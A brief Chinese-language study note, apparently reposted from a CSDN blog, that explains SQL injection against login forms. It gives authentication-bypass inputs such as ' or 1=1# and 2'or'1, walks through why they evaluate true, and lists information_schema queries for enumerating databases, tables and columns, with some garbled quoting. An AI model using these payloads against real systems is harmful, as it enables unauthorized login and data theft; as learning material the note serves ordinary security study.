学习web的一些笔记



当用户进行用户名和密码验证时,网站就会查询数据库,查询数据库的过程就是执行sql语句。当用户进行登录时,后台进行的数据库查询语句为(sql语句)为Select user_id ,user_type,email from users where user_id='用户名'And password='密码'

万能钥匙用到时语句    【Select * from admin where username ='admin' and password='admin'】 ,

可以用‘or 1=1#作为密码进行输入,构成sql语句为:‘Select *from admin where username='admin ’and password=' '

or  1=1#' 1#'

由于网站后台进行数据库查询的时候没有对单引号进行过滤,当用户输入用户名{admin}和万能钥匙{2'or'1}

这时,进行语句为select user_id,user_type,email from users where user_id='admin' And password=2'or'1

由于SQL语句中逻辑运算符有优先级【=】优先于【and】,【and】优先于【or】且适用于传递性。因此SQL语句在后台进行解析时,语句就分为两句【select user_id,user_type,email from users where user_id ='admin And password='2'】和【‘1’】,两句BOOL进行逻辑or运算,恒为TRUE。就意味着已经认证成功,可以登录到系统中。

猜数据库select schema_name from information_schema.schemata

猜某库的数据表select table_name from information_schema.tables where table_schema=’xxxxx’

猜某表的所有列Select column_name from information_schema.columns where table_name=’xxxxx’

获取某列的内容Select *** from ****

猜你喜欢

转载自blog.csdn.net/W1517055683/article/details/80386280